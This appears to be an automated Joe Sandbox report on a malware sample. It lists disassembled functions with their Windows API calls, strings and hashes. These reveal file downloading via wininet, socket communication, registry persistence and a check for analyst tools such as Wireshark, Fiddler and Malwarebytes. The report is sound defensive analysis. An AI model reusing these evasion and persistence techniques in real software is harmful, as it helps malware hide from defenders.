Part of subcall function 009797A5: DeleteCriticalSection.KERNEL32(00000025,?,?,009776A5,0097768B,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 0097C05B

GetProcAddress.KERNEL32(00000000,FlsAlloc), ref: 00979AF0
GetProcAddress.KERNEL32(00000000,FlsGetValue), ref: 00979AFD
GetProcAddress.KERNEL32(00000000,FlsSetValue), ref: 00979B0A
GetProcAddress.KERNEL32(00000000,FlsFree), ref: 00979B17
TlsAlloc.KERNEL32(?,?,009775E2,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979B67
TlsSetValue.KERNEL32(00000000,?,?,009775E2,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979B82
__init_pointers.LIBCMT ref: 00979B8C
EncodePointer.KERNEL32(?,?,009775E2,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979B9D
EncodePointer.KERNEL32(?,?,009775E2,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979BAA
EncodePointer.KERNEL32(?,?,009775E2,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979BB7
EncodePointer.KERNEL32(?,?,009775E2,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979BC4
DecodePointer.KERNEL32(Function_00009929,?,?,009775E2,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979BE5
__calloc_crt.LIBCMT ref: 00979BFA
DecodePointer.KERNEL32(00000000,?,?,009775E2,00987B60,00000008,00977776,?,?,?,00987B80,0000000C,00977831,?), ref: 00979C14
GetCurrentThreadId.KERNEL32 ref: 00979C26

Strings

FlsFree, xrefs: 00979B0C
FlsAlloc, xrefs: 00979AEA
KERNEL32.DLL, xrefs: 00979AC9
FlsGetValue, xrefs: 00979AF2
FlsSetValue, xrefs: 00979AFF

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: Pointer$AddressEncodeProc$Decode$CriticalDeleteSection$AllocCurrentFreeHandleModuleThreadValue__calloc_crt__init_pointers__mtterm_free
String ID: FlsAlloc$FlsFree$FlsGetValue$FlsSetValue$KERNEL32.DLL
API String ID: 3698121176-3819984048
Opcode ID: fbbbe8779bdab4fb6b2f981732d31e73f656ac712db2745ddcf526b65311ed13
Instruction ID: b474cabb6fb2e2c26403d1a3fc26e27572c1457b05ae6f955033bc173489585b
Opcode Fuzzy Hash: fbbbe8779bdab4fb6b2f981732d31e73f656ac712db2745ddcf526b65311ed13
Instruction Fuzzy Hash: 50319FB296C715ABCB21AF78EC0961A3FA4EB84764F1D451AF408C33B0EB348405EF40

Function 02D0C3A0 Relevance: 35.2, APIs: 16, Strings: 4, Instructions: 170stringCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D0C3C2
_wcsrchr.LIBCMT ref: 02D0C3CA
_memset.LIBCMT ref: 02D0C401
_wcsrchr.LIBCMT ref: 02D0C409
lstrlenW.KERNEL32(00000000,?,?,?,?,?,?,?,?,?,00000000), ref: 02D0C416
_memset.LIBCMT ref: 02D0C484
wsprintfW.USER32 ref: 02D0C49C
_memset.LIBCMT ref: 02D0C4B0
_memset.LIBCMT ref: 02D0C4CB
ExpandEnvironmentStringsW.KERNEL32(?,?,00000104,00000002), ref: 02D0C501
lstrcatW.KERNEL32(?,02D2535C), ref: 02D0C549
lstrcatW.KERNEL32(?,?), ref: 02D0C553
_memset.LIBCMT ref: 02D0C56A

Strings

%s\shell\open\command, xrefs: 02D0C496
WinSta0\Default, xrefs: 02D0C582
D, xrefs: 02D0C576
"%1, xrefs: 02D0C50D

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$_wcsrchrlstrcat$EnvironmentExpandStringslstrlenwsprintf
String ID: "%1$%s\shell\open\command$D$WinSta0\Default
API String ID: 3970221696-33419044
Opcode ID: 9a5825c77f4b722d79db32689b318e233805ad7fb7879efd131882d8c81d0f5c
Instruction ID: c1b2fc06dce978e0177cc34d92fab5baf7feed202629db46752678c6b6f5c2c1
Opcode Fuzzy Hash: 9a5825c77f4b722d79db32689b318e233805ad7fb7879efd131882d8c81d0f5c
Instruction Fuzzy Hash: 5451EDB195031876DB30EB60DD89FEE7378DF54700F404595AA09A52D0EBB0DE88CFA5

Function 02D07C80 Relevance: 31.6, APIs: 12, Strings: 6, Instructions: 141libraryloaderfileCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wininet.dll), ref: 02D07CC3
GetProcAddress.KERNEL32(00000000,InternetOpenW), ref: 02D07CD7
FreeLibrary.KERNEL32(00000000), ref: 02D07CF7
GetProcAddress.KERNEL32(00000000,InternetOpenUrlW), ref: 02D07D16
CreateFileW.KERNEL32(?,40000000,00000000,00000000,00000002,00000000,00000000), ref: 02D07D53
_memset.LIBCMT ref: 02D07D7E
GetProcAddress.KERNEL32(00000000,InternetReadFile), ref: 02D07D8C
WriteFile.KERNEL32(?,?,?,?,00000000), ref: 02D07DDB
CloseHandle.KERNEL32(?), ref: 02D07DF9
Sleep.KERNEL32(00000001), ref: 02D07E01
GetProcAddress.KERNEL32(00000000,InternetCloseHandle), ref: 02D07E0D
FreeLibrary.KERNEL32(00000000), ref: 02D07E28

Strings

InternetCloseHandle, xrefs: 02D07E07
InternetReadFile, xrefs: 02D07D86
InternetOpenW, xrefs: 02D07CD1
InternetOpenUrlW, xrefs: 02D07D10
wininet.dll, xrefs: 02D07CA6
MSIE 6.0, xrefs: 02D07CE1

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: AddressProc$Library$FileFree$CloseCreateHandleLoadSleepWrite_memset
String ID: InternetCloseHandle$InternetOpenUrlW$InternetOpenW$InternetReadFile$MSIE 6.0$wininet.dll
API String ID: 1463273941-1099148085
Opcode ID: 54ed9acea33c795fde60ba3a32756cefb6197cd39ad6bac79bc83e4827ba5325
Instruction ID: 97d1f43d4b2402b82f7a3833e05b86851a69ee6911ea4cb4a4c893a97d3d42b7
Opcode Fuzzy Hash: 54ed9acea33c795fde60ba3a32756cefb6197cd39ad6bac79bc83e4827ba5325
Instruction Fuzzy Hash: 0C417471A80228AAE7349B649C45FDAB3F8FF54700F11C5A5F645A62C0DE705E49CFE4

Function 02D04530 Relevance: 27.2, APIs: 18, Instructions: 247threadnetworksleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 02D0455A
timeGetTime.WINMM ref: 02D0457B
GetCurrentThreadId.KERNEL32 ref: 02D0459B
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 02D045BD
SwitchToThread.KERNEL32 ref: 02D045D7
SetEvent.KERNEL32(?), ref: 02D04620
CloseHandle.KERNEL32(?), ref: 02D04644
send.WS2_32(?,02D249C0,00000010,00000000), ref: 02D04668
SetEvent.KERNEL32(?), ref: 02D04686
InterlockedExchange.KERNEL32(?,00000000), ref: 02D04691
WSACloseEvent.WS2_32(?), ref: 02D0469F
shutdown.WS2_32(?,00000001), ref: 02D046B3
closesocket.WS2_32(?), ref: 02D046BD
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000139F), ref: 02D046F6
SetLastError.KERNEL32(000005B4), ref: 02D0470A
GetCurrentThreadId.KERNEL32 ref: 02D0472B
InterlockedExchange.KERNEL32(?,00000001), ref: 02D04743

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: EventExchangeInterlockedThread$CloseCurrentErrorLast$CompareHandleSleepSwitchTimeclosesocketsendshutdowntime
String ID:
API String ID: 1692523546-0
Opcode ID: 4df579e36734c8b2e01fc89a121476b97086f5480643761564537be45301f730
Instruction ID: 2d17144a41670773f379fe19ff99764984a7c8f2263d31a166974088511a9206
Opcode Fuzzy Hash: 4df579e36734c8b2e01fc89a121476b97086f5480643761564537be45301f730
Instruction Fuzzy Hash: C1919B70A00612ABC728DF64D8C8FAAB7A5FF54705F108519EA168B7A0D771FCA5CBD0

Function 02D0A6F0 Relevance: 24.8, APIs: 11, Strings: 3, Instructions: 254COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D0A748
_memset.LIBCMT ref: 02D0A788
_memset.LIBCMT ref: 02D0A80E
swprintf.LIBCMT ref: 02D0A82D

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

_memset.LIBCMT ref: 02D0A905
swprintf.LIBCMT ref: 02D0A924
_memset.LIBCMT ref: 02D0A986
swprintf.LIBCMT ref: 02D0A9A5

Strings

onlyloadinmyself, xrefs: 02D0A71C
plugmark, xrefs: 02D0A75B
%s %s, xrefs: 02D0A81C, 02D0A890, 02D0A913, 02D0A994

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$swprintf$_malloc
String ID: %s %s$onlyloadinmyself$plugmark
API String ID: 1873853019-591889663
Opcode ID: 1e661cde7c9103053396c25c7d2d65cc05d35739ce12a908904b346bfd5135c4
Instruction ID: b1596ff9dd56110b986c26124b4d96ce41fbfcc148287c378189cc0b04ecca64
Opcode Fuzzy Hash: 1e661cde7c9103053396c25c7d2d65cc05d35739ce12a908904b346bfd5135c4
Instruction Fuzzy Hash: 3381DEB5A40300ABE720AB24ECC6F6A77A5EF55714F144064E9095F3D2EB71ED14CAF2

Function 02D05CC0 Relevance: 24.7, APIs: 2, Strings: 12, Instructions: 164windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32(?), ref: 02D05CD3

Strings

TaskExplorer, xrefs: 02D05D5F
CurrPorts, xrefs: 02D05D75
Capsa, xrefs: 02D05E37, 02D05E5B
Sniff, xrefs: 02D05E49
Wireshark, xrefs: 02D05DB7
Port, xrefs: 02D05D8B
Metascan, xrefs: 02D05DA1
Malwarebytes, xrefs: 02D05D33
Process, xrefs: 02D05E6D
TCPEye, xrefs: 02D05D49
ApateDNS, xrefs: 02D05D1D
Fiddler, xrefs: 02D05E0F

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: VisibleWindow
String ID: ApateDNS$Capsa$CurrPorts$Fiddler$Malwarebytes$Metascan$Port$Process$Sniff$TCPEye$TaskExplorer$Wireshark
API String ID: 1208467747-3439171801
Opcode ID: 9e0b6000161f6ef2eeb8daf8674c33bc07627c933c7ea2cd4e266ea9b2272c90
Instruction ID: 9747b58cd053d246f3cd875f7cd91938c8c9a4a397c35f50baa00c18452c2210
Opcode Fuzzy Hash: 9e0b6000161f6ef2eeb8daf8674c33bc07627c933c7ea2cd4e266ea9b2272c90
Instruction Fuzzy Hash: 514196B1E41A2175BA613531BC82FDF22495D3278BF984024EC49E0791F74AAE5DCCFA

Function 00974530 Relevance: 24.2, APIs: 16, Instructions: 180threadnetworksleepCOMMON

Download Yara Rule

APIs

Sleep.KERNEL32(00000064), ref: 0097455A
timeGetTime.WINMM ref: 0097457B
GetCurrentThreadId.KERNEL32 ref: 0097459B
InterlockedCompareExchange.KERNEL32(?,00000001,00000000), ref: 009745BD
SwitchToThread.KERNEL32 ref: 009745D7
SetEvent.KERNEL32(?), ref: 00974620
CloseHandle.KERNEL32(?), ref: 00974644
send.WS2_32(?,00987440,00000010,00000000), ref: 00974668
SetEvent.KERNEL32(?), ref: 00974686
InterlockedExchange.KERNEL32(?,00000000), ref: 00974691
WSACloseEvent.WS2_32(?), ref: 0097469F
shutdown.WS2_32(?,00000001), ref: 009746B3
closesocket.WS2_32(?), ref: 009746BD
SetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,0000139F), ref: 009746F6
SetLastError.KERNEL32(000005B4), ref: 0097470A
GetCurrentThreadId.KERNEL32 ref: 0098FA44

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: EventThread$CloseCurrentErrorExchangeInterlockedLast$CompareHandleSleepSwitchTimeclosesocketsendshutdowntime
String ID:
API String ID: 3448239111-0
Opcode ID: 380fa51ae3a77a678d7532d7fe40152b3a1e3aacf8a2ca6863a1748a761c9938
Instruction ID: 3591f1674baa5c224707ef5b5aca23be8a49600d11a8352f12ee9f65ac0e65ae
Opcode Fuzzy Hash: 380fa51ae3a77a678d7532d7fe40152b3a1e3aacf8a2ca6863a1748a761c9938
Instruction Fuzzy Hash: 1C51FC76604A22EFC724DF64C888BA9F7A9FF45701F108129F5098BA91C774F8A4DBD0

Function 02D0DA30 Relevance: 21.3, APIs: 14, Instructions: 254COMMON

Download Yara Rule

APIs

SetLastError.KERNEL32(0000000D,?,?,?,?,?,?,02D0A8C1,?,?), ref: 02D0DA43
SetLastError.KERNEL32(000000C1,?,?,?,?,?,?,02D0A8C1,?,?), ref: 02D0DA62

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ErrorLast
String ID:
API String ID: 1452528299-0
Opcode ID: 7a4a4a4b3b4b611704144b9d8149c59e95ee61787d8bdc4364f823edf7faa43e
Instruction ID: 04e7b6443055199691acb4a7a5508b0a58c193d08e654f5cc92bc31e6ba94ee6
Opcode Fuzzy Hash: 7a4a4a4b3b4b611704144b9d8149c59e95ee61787d8bdc4364f823edf7faa43e
Instruction Fuzzy Hash: ED81CF72B002009FD720DFA9E884B6AB7E6FB58319F04456AE909C7790E7B1ED54CB90

Function 02D0C5E0 Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 164registryCOMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 02D0C63D
_memset.LIBCMT ref: 02D0C64C
RegOpenKeyExW.ADVAPI32(80000000,?,00000000,00020019,00000000), ref: 02D0C66F

Part of subcall function 02D0C81E: RegCloseKey.ADVAPI32(80000000,02D0C7FA), ref: 02D0C82B
Part of subcall function 02D0C81E: RegCloseKey.ADVAPI32(00000000), ref: 02D0C834

Strings

%08X, xrefs: 02D0C7D5

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Close_memset$Open
String ID: %08X
API String ID: 4292648718-3773563069
Opcode ID: 2c66b927fee4779e78bd18516465f0d3ebf7cc5ed3b377048cbde634a57d14b3
Instruction ID: 75e1fd4dbd5ee1908bcb80eb83907e04906dcb21cad67462267db71f3a56fd92
Opcode Fuzzy Hash: 2c66b927fee4779e78bd18516465f0d3ebf7cc5ed3b377048cbde634a57d14b3
Instruction Fuzzy Hash: FD5131B2A50218ABEB24DF50DD85FEA7778EB48704F404699F705A7280D774AF48CFA4

Function 02D036F0 Relevance: 21.1, APIs: 14, Instructions: 141networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 02D03710
WSAIoctl.WS2_32(00000000,9800000C,?,00000004,00000000,00000000,?,00000000,00000000), ref: 02D03749
setsockopt.WS2_32(?,0000FFFF,000000FB,?,00000004), ref: 02D03766
setsockopt.WS2_32(?,0000FFFF,00000004,?,00000004), ref: 02D03779
WSACreateEvent.WS2_32 ref: 02D0377B
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,02D31F0C), ref: 02D0378D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,02D31F0C), ref: 02D03799
lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,02D31F0C), ref: 02D037B8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,02D31F0C), ref: 02D037C4
gethostbyname.WS2_32(00000000), ref: 02D037D2
htons.WS2_32(?), ref: 02D037F8
WSAEventSelect.WS2_32(?,?,00000030), ref: 02D03816
connect.WS2_32(?,?,00000010), ref: 02D0382B
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,02D31F0C), ref: 02D0383A

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: ByteCharEventMultiWidelstrlensetsockopt$CreateErrorIoctlLastSelectconnectgethostbynamehtonssocket
String ID:
API String ID: 1455939504-0
Opcode ID: 2d7e5a5cb4a0ab31c9c2ea49bd17e3c1e654252cd0b7c5759a134b463afc5b1b
Instruction ID: d8dd0e6efa7d77c90695b418201a1a7356bdb006f3978b3fbc586bf009121cd0
Opcode Fuzzy Hash: 2d7e5a5cb4a0ab31c9c2ea49bd17e3c1e654252cd0b7c5759a134b463afc5b1b
Instruction Fuzzy Hash: 9D415D71A40305ABE724DBA4DC89F7BB7B8FB98710F104919FA15963D0C774A914CB64

Function 009736F0 Relevance: 21.1, APIs: 14, Instructions: 141networkstringCOMMON

Download Yara Rule

APIs

socket.WS2_32(00000002,00000002,00000011), ref: 00973710
WSAIoctl.WS2_32(00000000,9800000C,?,00000004,00000000,00000000,?,00000000,00000000), ref: 00973749
setsockopt.WS2_32(?,0000FFFF,000000FB,?,00000004), ref: 00973766
setsockopt.WS2_32(?,0000FFFF,00000004,?,00000004), ref: 00973779
WSACreateEvent.WS2_32 ref: 0097377B
lstrlenW.KERNEL32(?,00000000,00000000,00000000,00000000,?,?,?,?,?,0098D990), ref: 0097378D
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,0098D990), ref: 00973799
lstrlenW.KERNEL32(?,00000000,?,00000000,00000000,?,?,?,?,?,?,0098D990), ref: 009737B8
WideCharToMultiByte.KERNEL32(00000000,00000000,?,00000000,?,?,?,?,?,?,0098D990), ref: 009737C4
gethostbyname.WS2_32(00000000), ref: 009737D2
htons.WS2_32(?), ref: 009737F8
WSAEventSelect.WS2_32(?,?,00000030), ref: 00973816
connect.WS2_32(?,?,00000010), ref: 0097382B
WSAGetLastError.WS2_32(?,?,?,?,?,?,?,0098D990), ref: 0097383A

Memory Dump Source

Source File: 00000006.00000002.3783149184.0000000000971000.00000020.00001000.00020000.00000000.sdmp, Offset: 00970000, based on PE: true

Associated: 00000006.00000002.3783120612.0000000000970000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783398922.0000000000985000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783474116.0000000000989000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783526835.000000000098F000.00000020.00001000.00020000.00000000.sdmpDownload File
Associated: 00000006.00000002.3783608851.0000000000991000.00000002.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_970000_FIWszl1A8l.jbxd

Similarity

API ID: ByteCharEventMultiWidelstrlensetsockopt$CreateErrorIoctlLastSelectconnectgethostbynamehtonssocket
String ID:
API String ID: 1455939504-0
Opcode ID: b90255ba3184a959594cf5356ae08f63c30be67e708bee2a56c02e51913be7b1
Instruction ID: 3743defb960168006d01c01e9f2ce7ea57ee57b1e07b7c15f677d683ef6eaa3f
Opcode Fuzzy Hash: b90255ba3184a959594cf5356ae08f63c30be67e708bee2a56c02e51913be7b1
Instruction Fuzzy Hash: D9416FB1A04605AFE710DFA4DC89FBFB7B8EF88710F108619FA15A72D0C674A904DB61

Function 00925497 Relevance: 19.5, APIs: 4, Strings: 7, Instructions: 263COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0092551F
_memset.LIBCMT ref: 00925640
_memset.LIBCMT ref: 00925664
_memset.LIBCMT ref: 00925676

Strings

{vU_, xrefs: 009255FD
i, xrefs: 0092562F
l, xrefs: 0092561B
!jWW, xrefs: 00925607
_, xrefs: 00925625
., xrefs: 00925611
e, xrefs: 009254B3

Memory Dump Source

Source File: 00000006.00000002.3782668054.0000000000920000.00000040.00001000.00020000.00000000.sdmp, Offset: 00920000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_920000_FIWszl1A8l.jbxd

Similarity

API ID: _memset
String ID: !jWW$.$_$e$i$l${vU_
API String ID: 2102423945-159827627
Opcode ID: 616728f120ea76b6708cf09b79b5274985df2719d774fb6e82631f5eb7c08bb3
Instruction ID: cfdf210252503e282b0764220cd2f34b8bb988635bfa3f0ef7e4e4d6afaac58b
Opcode Fuzzy Hash: 616728f120ea76b6708cf09b79b5274985df2719d774fb6e82631f5eb7c08bb3
Instruction Fuzzy Hash: 7191C4B5A00624AFE720DFA0DC84FAA77BDFB88700F548158FA099B245D7B5DA40CB91

Function 02D0AA10 Relevance: 19.4, APIs: 7, Strings: 4, Instructions: 190sleeptimeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?,7A8163DF), ref: 02D0AA58
wsprintfW.USER32 ref: 02D0AA8F
_memset.LIBCMT ref: 02D0AAA7
_memset.LIBCMT ref: 02D0AABA

Part of subcall function 02D08020: lstrlenW.KERNEL32(?), ref: 02D08038
Part of subcall function 02D08020: _memset.LIBCMT ref: 02D08042
Part of subcall function 02D08020: lstrlenW.KERNEL32(?), ref: 02D0804B
Part of subcall function 02D08020: lstrlenW.KERNEL32(?), ref: 02D08056

CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 02D0ABBE
Sleep.KERNEL32(000003E8,?,?,?,?,?,?), ref: 02D0AC6E
CloseHandle.KERNEL32(?), ref: 02D0ACAA

Part of subcall function 02D0F707: _malloc.LIBCMT ref: 02D0F721

Part of subcall function 02D09730: CreateEventW.KERNEL32(00000000,00000001,00000001,00000000,7A8163DF,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E,00000000), ref: 02D09773
Part of subcall function 02D09730: InitializeCriticalSectionAndSpinCount.KERNEL32(02D0E1AE,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D09812
Part of subcall function 02D09730: CreateEventW.KERNEL32(00000000,00000000,00000000,00000000,?,?,?,00000000,02D2125B,000000FF,?,02D0E04E), ref: 02D09850

Strings

%4d.%2d.%2d-%2d:%2d:%2d, xrefs: 02D0AA89
o1:, xrefs: 02D0AAE2
t1:, xrefs: 02D0AAF3
p1:, xrefs: 02D0AACE

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: CreateEvent_memsetlstrlen$CloseCountCriticalHandleInitializeLocalSectionSleepSpinTime_mallocwsprintf
String ID: %4d.%2d.%2d-%2d:%2d:%2d$o1:$p1:$t1:
API String ID: 1254190970-1225219777
Opcode ID: ebb9f6ea921f12d82a9453dfc8d539a7144e1c58dcc8e6fb042b22007f0c1b1d
Instruction ID: f2fc1edb13427e5336a6553608add6b306c54964a7dffaecbbc219b852c5e009
Opcode Fuzzy Hash: ebb9f6ea921f12d82a9453dfc8d539a7144e1c58dcc8e6fb042b22007f0c1b1d
Instruction Fuzzy Hash: 54618EB1508340ABD360DF64D8C4FABB7E9EF98714F104A1DF68992390E7349D48CBA6

Function 02D0C860 Relevance: 17.6, APIs: 8, Strings: 2, Instructions: 66registrystringCOMMON

Download Yara Rule

APIs

RegOpenKeyExW.ADVAPI32(80000001,AppEvents,00000000,00000002,?), ref: 02D0C889
RegDeleteValueW.ADVAPI32(?), ref: 02D0C894
RegCloseKey.ADVAPI32(?), ref: 02D0C8A4
RegCreateKeyW.ADVAPI32(80000001,AppEvents,?), ref: 02D0C8C3
lstrlenW.KERNEL32(?), ref: 02D0C8D1
RegSetValueExW.ADVAPI32(?,?,00000000,00000003,?,00000000), ref: 02D0C8E4
RegCloseKey.ADVAPI32(?,?,00000000,00000003,?,00000000), ref: 02D0C8F2
RegCloseKey.ADVAPI32(?), ref: 02D0C900

Strings

Network, xrefs: 02D0C876, 02D0C8B4
AppEvents, xrefs: 02D0C86F, 02D0C883, 02D0C8AD, 02D0C8BD

Memory Dump Source

Source File: 00000006.00000002.3788081073.0000000002D00000.00000040.00001000.00020000.00000000.sdmp, Offset: 02D00000, based on PE: true

Associated: 00000006.00000002.3788081073.0000000002D34000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2d00000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: Close$Value$CreateDeleteOpenlstrlen
String ID: AppEvents$Network
API String ID: 3935456190-3733486940
Opcode ID: be6d5f807bc844bbd30257f1873f0c70ff319a56a09dadcb6ee18d87ffcd06d9
Instruction ID: 2481ad7c4e0f9a0362ce30f4d35c97e28d806a36f89934670b2bb1b939e33388
Opcode Fuzzy Hash: be6d5f807bc844bbd30257f1873f0c70ff319a56a09dadcb6ee18d87ffcd06d9
Instruction Fuzzy Hash: 92119175B00214FFE724CAA5ED89FABB37CEB58714F600549FA0197340D671AE14D7A8

Function 0282A0AF Relevance: 16.8, APIs: 11, Instructions: 254COMMON

Download Yara Rule

APIs

_memset.LIBCMT ref: 0282A107
_memset.LIBCMT ref: 0282A147
_memset.LIBCMT ref: 0282A1CD
swprintf.LIBCMT ref: 0282A1EC

Part of subcall function 0282F0C6: _malloc.LIBCMT ref: 0282F0E0

_memset.LIBCMT ref: 0282A2C4
swprintf.LIBCMT ref: 0282A2E3
_memset.LIBCMT ref: 0282A345
swprintf.LIBCMT ref: 0282A364

Memory Dump Source

Source File: 00000006.00000002.3787310787.0000000002820000.00000040.00001000.00020000.00000000.sdmp, Offset: 02820000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_2820000_FIWszl1A8l.jbxd

Yara matches

Similarity

API ID: _memset$swprintf$_malloc
String ID:
API String ID: 1873853019-0
Opcode ID: 062e854903829bf1e59bc273fd803ecd21369289b7c01ee10e87d698f024efb4
Instruction ID: 598d35966bd8e274126a70a166313638d1bf20b21bcd468aa2076d8250227c1f
Opcode Fuzzy Hash: 062e854903829bf1e59bc273fd803ecd21369289b7c01ee10e87d698f024efb4
Instruction Fuzzy Hash: EB81F4BD940210ABE720EB58DC85F6B77A5EF55310F184064EE099F382EB71E944CAE7

Function 03FAE9AB Relevance: 16.8, APIs: 11, Instructions: 254COMMON

Download Yara Rule

